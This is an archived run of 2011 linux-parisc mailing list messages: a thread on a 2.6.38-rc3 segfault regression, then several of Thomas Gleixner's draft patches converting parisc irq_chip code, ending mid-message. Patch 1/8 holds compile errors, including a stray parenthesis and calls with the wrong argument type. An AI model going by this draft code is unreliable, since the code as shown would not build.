In-Reply-To: <alpine.SOC.1.00.1102041150390.8218@math.ut.ee>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3416 gmane.linux.kernel:1096088
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3416>

On Fri, 04 Feb 2011, Meelis Roos wrote:

> 2363  clone( <unfinished ...>
> 2349  <... futex resumed> )             = 1
> 2363  <... clone resumed> child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x460df4a8) = 2372
> 2349  --- SIGSEGV (Segmentation fault) @ 0 (0) ---
> 2372  rt_sigaction(SIGPIPE, {SIG_DFL, [], SA_RESTART},  <unfinished ...>
> 2349  write(1, "\33[56;1H\33[34h\33[?25h", 18 <unfinished ...>
> 
> Something futex-related. Full log temprarilty available at 
> http://www.cs.ut.ee/~mroos/aptitude-strace.txt

This is possibly the infamous COW bug.

> gdb does not seem to work well:

I think the segv is in the dynamic loader.  Try gdb on dynamic loader
and aptitude as run argument.  Also suggest adding /usr/lib/debug to
LD_LIBRARY_PATH.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: 2.6.38-rc3 regression on parisc: segfaults
Date: Fri, 4 Feb 2011 10:20:05 -0500
Lines: 30
Approved: news@gmane.org
Message-ID: <AANLkTim9oXFf7ksuj9o-g2J4aL4xi-JPH3PsayMayxMt@mail.gmail.com>
References: <20110203022420.A73F54E7B@hiauly1.hia.nrc.ca>
	<alpine.SOC.1.00.1102041150390.8218@math.ut.ee>
	<20110204150703.GA9254@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1296832815 2186 80.91.229.12 (4 Feb 2011 15:20:15 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 4 Feb 2011 15:20:15 +0000 (UTC)
Cc: Meelis Roos <mroos@linux.ee>, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 04 16:20:10 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PlNSD-0005JP-MZ
	for glpp-linux-parisc@lo.gmane.org; Fri, 04 Feb 2011 16:20:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752181Ab1BDPUJ convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 4 Feb 2011 10:20:09 -0500
Original-Received: from mail-bw0-f46.google.com ([209.85.214.46]:55977 "EHLO
	mail-bw0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751880Ab1BDPUI convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 4 Feb 2011 10:20:08 -0500
Original-Received: by bwz15 with SMTP id 15so2816645bwz.19
        for <multiple recipients>; Fri, 04 Feb 2011 07:20:05 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        bh=3lmYUeznNe6rpOuRysdhEHi7H78Oo/BBYUlofL+qnfU=;
        b=PNMhwJSpV8eRLUlFcILYuEd1St4nlA1qXWZi2+bW3T13LWouNteR5uwVVcwwFCy+Hv
         7l0XN4NFaiRlpz9oFSo2i71MtetdxcPMWXZUeGVa0fjrGGG7aUqKKwNHICF9+7jiPN5d
         kEtmfQK+GBgKZPj/rN/wmMCYNZnTA+3bY6nwM=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=Xg0HTkwT6Pu5b2FyZOT16iRObk5012F3LtVNwJxZyYAEBs60RUFy7zxnuZW/xnjNte
         3OtEMCaeVNI5xnOyzVjR13hWsUSOTlxDpRTFrpvSTHbA/kcSTkHFAgpRHCUrBLphj9H2
         NPdrkIj3775/mSKw2A1m8wrnaAqZJiWQRupYI=
Original-Received: by 10.204.70.137 with SMTP id d9mr11616816bkj.141.1296832805750;
 Fri, 04 Feb 2011 07:20:05 -0800 (PST)
Original-Received: by 10.204.64.79 with HTTP; Fri, 4 Feb 2011 07:20:05 -0800 (PST)
In-Reply-To: <20110204150703.GA9254@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: _0EM-E_4cM9_TakO5gmjuw_B0js
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3417 gmane.linux.kernel:1096091
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3417>

On Fri, Feb 4, 2011 at 10:07 AM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
> On Fri, 04 Feb 2011, Meelis Roos wrote:
>
>> 2363 =A0clone( <unfinished ...>
>> 2349 =A0<... futex resumed> ) =A0 =A0 =A0 =A0 =A0 =A0 =3D 1
>> 2363 =A0<... clone resumed> child_stack=3D0, flags=3DCLONE_CHILD_CLE=
ARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=3D0x460df4a8) =3D 2372
>> 2349 =A0--- SIGSEGV (Segmentation fault) @ 0 (0) ---
>> 2372 =A0rt_sigaction(SIGPIPE, {SIG_DFL, [], SA_RESTART}, =A0<unfinis=
hed ...>
>> 2349 =A0write(1, "\33[56;1H\33[34h\33[?25h", 18 <unfinished ...>
>>
>> Something futex-related. Full log temprarilty available at
>> http://www.cs.ut.ee/~mroos/aptitude-strace.txt
>
> This is possibly the infamous COW bug.

The COW bug that is triggered by a COW from an LWS-CAS? The solution
to which is to use locks around the LWS-CAS even on UP? I'd forgotten
about this issue actually, I should push that patch out to James.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: 2.6.38-rc3 regression on parisc: segfaults
Date: Fri, 4 Feb 2011 11:17:06 -0500 (EST)
Lines: 20
Approved: news@gmane.org
Message-ID: <20110204161706.B544B4DF4@hiauly1.hia.nrc.ca>
References: <AANLkTim9oXFf7ksuj9o-g2J4aL4xi-JPH3PsayMayxMt@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1296836235 23744 80.91.229.12 (4 Feb 2011 16:17:15 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 4 Feb 2011 16:17:15 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, mroos@linux.ee,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 04 17:17:10 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PlOLO-0008Un-5a
	for glpp-linux-parisc@lo.gmane.org; Fri, 04 Feb 2011 17:17:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753113Ab1BDQRJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 4 Feb 2011 11:17:09 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:1477 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753107Ab1BDQRI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 4 Feb 2011 11:17:08 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id B544B4DF4; Fri,  4 Feb 2011 11:17:06 -0500 (EST)
In-Reply-To: <AANLkTim9oXFf7ksuj9o-g2J4aL4xi-JPH3PsayMayxMt@mail.gmail.com> from "Carlos O'Donell" at Feb 4, 2011 10:20:05 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3418 gmane.linux.kernel:1096101
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3418>

> > This is possibly the infamous COW bug.
> 
> The COW bug that is triggered by a COW from an LWS-CAS? The solution
> to which is to use locks around the LWS-CAS even on UP? I'd forgotten
> about this issue actually, I should push that patch out to James.

I was actually thinking of the fork/clone race for which there are various
testcases on the wiki.  The aptitude segv is with a SMP kernel, so I don't
think this is the UP LWS_CAS issue.  However, I agree you should push
the change.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [patch 0/8] parisc: Convert to new irq_chip functions
Date: Sun, 06 Feb 2011 20:45:47 -0000
Lines: 12
Approved: news@gmane.org
Message-ID: <20110206204411.109238550@linutronix.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1297025178 11442 80.91.229.12 (6 Feb 2011 20:46:18 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 6 Feb 2011 20:46:18 +0000 (UTC)
Cc: Kyle McMartin <kyle@redhat.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 06 21:46:14 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PmBUr-00050w-7f
	for glpp-linux-parisc@lo.gmane.org; Sun, 06 Feb 2011 21:46:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754016Ab1BFUqL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 6 Feb 2011 15:46:11 -0500
Original-Received: from www.tglx.de ([62.245.132.106]:42307 "EHLO www.tglx.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753996Ab1BFUqL (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 6 Feb 2011 15:46:11 -0500
Original-Received: from localhost6.localdomain6 (www.tglx.de [127.0.0.1])
	by www.tglx.de (8.13.8/8.13.8/TGLX-2007100201) with ESMTP id p16Kjlsc008163;
	Sun, 6 Feb 2011 21:45:47 +0100
User-Agent: quilt/0.48-1
X-Virus-Scanned: clamav-milter 0.95.3 at www.tglx.de
X-Virus-Status: Clean
X-Spam-Status: No, score=-1.4 required=5.0 tests=ALL_TRUSTED autolearn=failed
	version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on www.tglx.de
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3419
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3419>

The following series converts parisc to the new irq_chip functions and
sets GENERIC_HARDIRQS_NO_DEPRECATED. Compile tested only.

Thanks,

	tglx

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [patch 3/8] parisc: Convert eisa irq_chip to new functions
Date: Sun, 06 Feb 2011 20:45:56 -0000
Lines: 51
Approved: news@gmane.org
Message-ID: <20110206204510.631074663@linutronix.de>
References: <20110206204411.109238550@linutronix.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1297025180 11455 80.91.229.12 (6 Feb 2011 20:46:20 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 6 Feb 2011 20:46:20 +0000 (UTC)
Cc: Kyle McMartin <kyle@redhat.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 06 21:46:15 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PmBUs-00050w-O0
	for glpp-linux-parisc@lo.gmane.org; Sun, 06 Feb 2011 21:46:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754020Ab1BFUqO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 6 Feb 2011 15:46:14 -0500
Original-Received: from www.tglx.de ([62.245.132.106]:42313 "EHLO www.tglx.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753896Ab1BFUqN (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 6 Feb 2011 15:46:13 -0500
Original-Received: from localhost6.localdomain6 (www.tglx.de [127.0.0.1])
	by www.tglx.de (8.13.8/8.13.8/TGLX-2007100201) with ESMTP id p16KjuT5008182;
	Sun, 6 Feb 2011 21:45:57 +0100
User-Agent: quilt/0.48-1
Content-Disposition: inline; filename=parisc-convert-eisa.patch
X-Virus-Scanned: clamav-milter 0.95.3 at www.tglx.de
X-Virus-Status: Clean
X-Spam-Status: No, score=-1.4 required=5.0 tests=ALL_TRUSTED,AWL
	autolearn=failed version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on www.tglx.de
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3420
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3420>

Signed-off-by: Thomas Gleixner <tglx@linutronix.de>
---
 drivers/parisc/eisa.c |   12 +++++++-----
 1 file changed, 7 insertions(+), 5 deletions(-)

Index: linux-next/drivers/parisc/eisa.c
===================================================================
--- linux-next.orig/drivers/parisc/eisa.c
+++ linux-next/drivers/parisc/eisa.c
@@ -144,8 +144,9 @@ static unsigned int eisa_irq_level __rea
 
 
 /* called by free irq */
-static void eisa_mask_irq(unsigned int irq)
+static void eisa_mask_irq(struct irq_data *d)
 {
+	unsigned int irq = d->irq;
 	unsigned long flags;
 
 	EISA_DBG("disable irq %d\n", irq);
@@ -164,8 +165,9 @@ static void eisa_mask_irq(unsigned int i
 }
 
 /* called by request irq */
-static void eisa_unmask_irq(unsigned int irq)
+static void eisa_unmask_irq(struct irq_data *d)
 {
+	unsigned int irq = d->irq;
 	unsigned long flags;
 	EISA_DBG("enable irq %d\n", irq);
 		
@@ -183,9 +185,9 @@ static void eisa_unmask_irq(unsigned int
 }
 
 static struct irq_chip eisa_interrupt_type = {
-	.name	=	"EISA",
-	.unmask	=	eisa_unmask_irq,
-	.mask	=	eisa_mask_irq,
+	.name		=	"EISA",
+	.irq_unmask	=	eisa_unmask_irq,
+	.irq_mask	=	eisa_mask_irq,
 };
 
 static irqreturn_t eisa_irq(int wax_irq, void *intr_dev)


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [patch 1/8] parisc: Convert cpu irq_chip to new functions
Date: Sun, 06 Feb 2011 20:45:52 -0000
Lines: 247
Approved: news@gmane.org
Message-ID: <20110206204510.426016434@linutronix.de>
References: <20110206204411.109238550@linutronix.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: dough.gmane.org 1297025180 11459 80.91.229.12 (6 Feb 2011 20:46:20 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 6 Feb 2011 20:46:20 +0000 (UTC)
Cc: Kyle McMartin <kyle@redhat.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 06 21:46:14 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PmBUq-00050w-7O
	for glpp-linux-parisc@lo.gmane.org; Sun, 06 Feb 2011 21:46:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754012Ab1BFUqL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 6 Feb 2011 15:46:11 -0500
Original-Received: from www.tglx.de ([62.245.132.106]:42297 "EHLO www.tglx.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753896Ab1BFUqK (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 6 Feb 2011 15:46:10 -0500
Original-Received: from localhost6.localdomain6 (www.tglx.de [127.0.0.1])
	by www.tglx.de (8.13.8/8.13.8/TGLX-2007100201) with ESMTP id p16KjqvZ008170;
	Sun, 6 Feb 2011 21:45:52 +0100
User-Agent: quilt/0.48-1
Content-Disposition: inline; filename=parisc-convert-cpu-chip.patch
X-Virus-Scanned: clamav-milter 0.95.3 at www.tglx.de
X-Virus-Status: Clean
X-Spam-Status: No, score=-1.4 required=5.0 tests=ALL_TRUSTED autolearn=failed
	version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on www.tglx.de
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3421
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3421>

Fixup temporarily ioasapic, which shares functions with the cpu chip.
Remove unused no_*_irq function declarations.

Signed-off-by: Thomas Gleixner <tglx@linutronix.de>
---
 arch/parisc/include/asm/irq.h |   13 ++-------
 arch/parisc/kernel/irq.c      |   60 ++++++++++++++++++++++++------------------
 drivers/parisc/iosapic.c      |    7 ++--
 3 files changed, 43 insertions(+), 37 deletions(-)

Index: linux-next/arch/parisc/include/asm/irq.h
===================================================================
--- linux-next.orig/arch/parisc/include/asm/irq.h
+++ linux-next/arch/parisc/include/asm/irq.h
@@ -32,15 +32,10 @@ static __inline__ int irq_canonicalize(i
 }
 
 struct irq_chip;
+struct irq_data;
 
-/*
- * Some useful "we don't have to do anything here" handlers.  Should
- * probably be provided by the generic code.
- */
-void no_ack_irq(unsigned int irq);
-void no_end_irq(unsigned int irq);
-void cpu_ack_irq(unsigned int irq);
-void cpu_eoi_irq(unsigned int irq);
+void cpu_ack_irq(struct irq_data *d);
+void cpu_eoi_irq(struct irq_data *d);
 
 extern int txn_alloc_irq(unsigned int nbits);
 extern int txn_claim_irq(int);
@@ -49,7 +44,7 @@ extern unsigned long txn_alloc_addr(unsi
 extern unsigned long txn_affinity_addr(unsigned int irq, int cpu);
 
 extern int cpu_claim_irq(unsigned int irq, struct irq_chip *, void *);
-extern int cpu_check_affinity(unsigned int irq, const struct cpumask *dest);
+extern int cpu_check_affinity(struct irq_data *d, const struct cpumask *dest);
 
 /* soft power switch support (power.c) */
 extern struct tasklet_struct power_tasklet;
Index: linux-next/arch/parisc/kernel/irq.c
===================================================================
--- linux-next.orig/arch/parisc/kernel/irq.c
+++ linux-next/arch/parisc/kernel/irq.c
@@ -52,9 +52,9 @@ static volatile unsigned long cpu_eiem =
 */
 static DEFINE_PER_CPU(unsigned long, local_ack_eiem) = ~0UL;
 
-static void cpu_mask_irq(unsigned int irq)
+static void cpu_mask_irq(struct irq_data *d)
 {
-	unsigned long eirr_bit = EIEM_MASK(irq);
+	unsigned long eirr_bit = EIEM_MASK(d->irq);
 
 	cpu_eiem &= ~eirr_bit;
 	/* Do nothing on the other CPUs.  If they get this interrupt,
@@ -63,7 +63,7 @@ static void cpu_mask_irq(unsigned int ir
 	 * then gets disabled */
 }
 
-static void cpu_unmask_irq(unsigned int irq)
+static void __cpu_unmask_irq(unsigned int irq)
 {
 	unsigned long eirr_bit = EIEM_MASK(irq);
 
@@ -75,9 +75,14 @@ static void cpu_unmask_irq(unsigned int 
 	smp_send_all_nop();
 }
 
-void cpu_ack_irq(unsigned int irq)
+static void cpu_unmask_irq(struct irq_data *d)
+{
+	__cpu_unmask_irq(d->irq);
+}
+
+void cpu_ack_irq(struct irq_data *d)
 {
-	unsigned long mask = EIEM_MASK(irq);
+	unsigned long mask = EIEM_MASK(d->irq);
 	int cpu = smp_processor_id();
 
 	/* Clear in EIEM so we can no longer process */
@@ -90,9 +95,9 @@ void cpu_ack_irq(unsigned int irq)
 	mtctl(mask, 23);
 }
 
-void cpu_eoi_irq(unsigned int irq)
+void cpu_eoi_irq(struct irq_data *d)
 {
-	unsigned long mask = EIEM_MASK(irq);
+	unsigned long mask = EIEM_MASK(d->irq);
 	int cpu = smp_processor_id();
 
 	/* set it in the eiems---it's no longer in process */
@@ -103,15 +108,16 @@ void cpu_eoi_irq(unsigned int irq)
 }
 
 #ifdef CONFIG_SMP
-int cpu_check_affinity(unsigned int irq, const struct cpumask *dest)
+int cpu_check_affinity(struct irq_data *d, const struct cpumask *dest)
 {
 	int cpu_dest;
 
 	/* timer and ipi have to always be received on all CPUs */
 	if (CHECK_IRQ_PER_CPU(irq)) {
 		/* Bad linux design decision.  The mask has already
-		 * been set; we must reset it */
-		cpumask_setall(irq_desc[irq].affinity);
+		 * been set; we must reset it. Will fix - tglx
+		 */
+		cpumask_setall(d->affinity);
 		return -EINVAL;
 	}
 
@@ -121,33 +127,34 @@ int cpu_check_affinity(unsigned int irq,
 	return cpu_dest;
 }
 
-static int cpu_set_affinity_irq(unsigned int irq, const struct cpumask *dest)
+static int cpu_set_affinity_irq(struct irq_data *d, const struct cpumask *dest,
+				bool force))
 {
 	int cpu_dest;
 
-	cpu_dest = cpu_check_affinity(irq, dest);
+	cpu_dest = cpu_check_affinity(d->irq, dest);
 	if (cpu_dest < 0)
 		return -1;
 
-	cpumask_copy(irq_desc[irq].affinity, dest);
+	cpumask_copy(d->affinity, dest);
 
 	return 0;
 }
 #endif
 
 static struct irq_chip cpu_interrupt_type = {
-	.name		= "CPU",
-	.mask		= cpu_mask_irq,
-	.unmask		= cpu_unmask_irq,
-	.ack		= cpu_ack_irq,
-	.eoi		= cpu_eoi_irq,
+	.name			= "CPU",
+	.irq_mask		= cpu_mask_irq,
+	.irq_unmask		= cpu_unmask_irq,
+	.irq_ack		= cpu_ack_irq,
+	.irq_eoi		= cpu_eoi_irq,
 #ifdef CONFIG_SMP
-	.set_affinity	= cpu_set_affinity_irq,
+	.irq_set_affinity	= cpu_set_affinity_irq,
 #endif
 	/* XXX: Needs to be written.  We managed without it so far, but
 	 * we really ought to write it.
 	 */
-	.retrigger	= NULL,
+	.irq_retrigger	= NULL,
 };
 
 int show_interrupts(struct seq_file *p, void *v)
@@ -233,14 +240,14 @@ int cpu_claim_irq(unsigned int irq, stru
 {
 	if (irq_desc[irq].action)
 		return -EBUSY;
-	if (irq_desc[irq].chip != &cpu_interrupt_type)
+	if (get_irq_chip(irq) != &cpu_interrupt_type)
 		return -EBUSY;
 
 	/* for iosapic interrupts */
 	if (type) {
 		set_irq_chip_and_handler(irq, type, handle_percpu_irq);
 		set_irq_chip_data(irq, data);
-		cpu_unmask_irq(irq);
+		__cpu_unmask_irq(irq);
 	}
 	return 0;
 }
@@ -289,7 +296,8 @@ int txn_alloc_irq(unsigned int bits_wide
 unsigned long txn_affinity_addr(unsigned int irq, int cpu)
 {
 #ifdef CONFIG_SMP
-	cpumask_copy(irq_desc[irq].affinity, cpumask_of(cpu));
+	struct irq_data *d = get_irq_data(irq);
+	cpumask_copy(d->affinity, cpumask_of(cpu));
 #endif
 
 	return per_cpu(cpu_data, cpu).txn_addr;
@@ -333,6 +341,7 @@ void do_cpu_irq_mask(struct pt_regs *reg
 	unsigned long eirr_val;
 	int irq, cpu = smp_processor_id();
 #ifdef CONFIG_SMP
+	struct irq_desc *desc;
 	cpumask_t dest;
 #endif
 
@@ -346,8 +355,9 @@ void do_cpu_irq_mask(struct pt_regs *reg
 	irq = eirr_to_irq(eirr_val);
 
 #ifdef CONFIG_SMP
-	cpumask_copy(&dest, irq_desc[irq].affinity);
-	if (CHECK_IRQ_PER_CPU(irq_desc[irq].status) &&
+	desc = irq_to_desc(irq);
+	cpumask_copy(&dest, desc->irq_data.affinity);
+	if (CHECK_IRQ_PER_CPU(desc->status) &&
 	    !cpu_isset(smp_processor_id(), dest)) {
 		int cpu = first_cpu(dest);
 
Index: linux-next/drivers/parisc/iosapic.c
===================================================================
--- linux-next.orig/drivers/parisc/iosapic.c
+++ linux-next/drivers/parisc/iosapic.c
@@ -676,7 +676,7 @@ static void iosapic_eoi_irq(unsigned int
 	struct vector_info *vi = get_irq_chip_data(irq);
 
 	iosapic_eoi(vi->eoi_addr, vi->eoi_data);
-	cpu_eoi_irq(irq);
+	cpu_eoi_irq(&irq_desc[irq].irq_data);
 }
 
 #ifdef CONFIG_SMP
@@ -688,7 +688,8 @@ static int iosapic_set_affinity_irq(unsi
 	unsigned long flags;
 	int dest_cpu;
 
-	dest_cpu = cpu_check_affinity(irq, dest);
+	/* Temporary  irq_desc hack */
+	dest_cpu = cpu_check_affinity(&irq_desc[irq].irq_data, dest);
 	if (dest_cpu < 0)
 		return -1;
 
@@ -711,7 +712,7 @@ static struct irq_chip iosapic_interrupt
 	.name	=	"IO-SAPIC-level",
 	.unmask	=	iosapic_unmask_irq,
 	.mask	=	iosapic_mask_irq,
-	.ack	=	cpu_ack_irq,
+	.irq_ack	=	cpu_ack_irq,
 	.eoi	=	iosapic_eoi_irq,
 #ifdef CONFIG_SMP
 	.set_affinity =	iosapic_set_affinity_irq,


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Gleixner <tglx@linutronix.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [patch 2/8] parisc: Convert dino irq_chip to new functions
Date: Sun, 06 Feb 2011 20:45:54 -0000
Lines: 63
Approved: news@gmane.org
Message-ID: <20110206204510.522509865@linutronix.de>
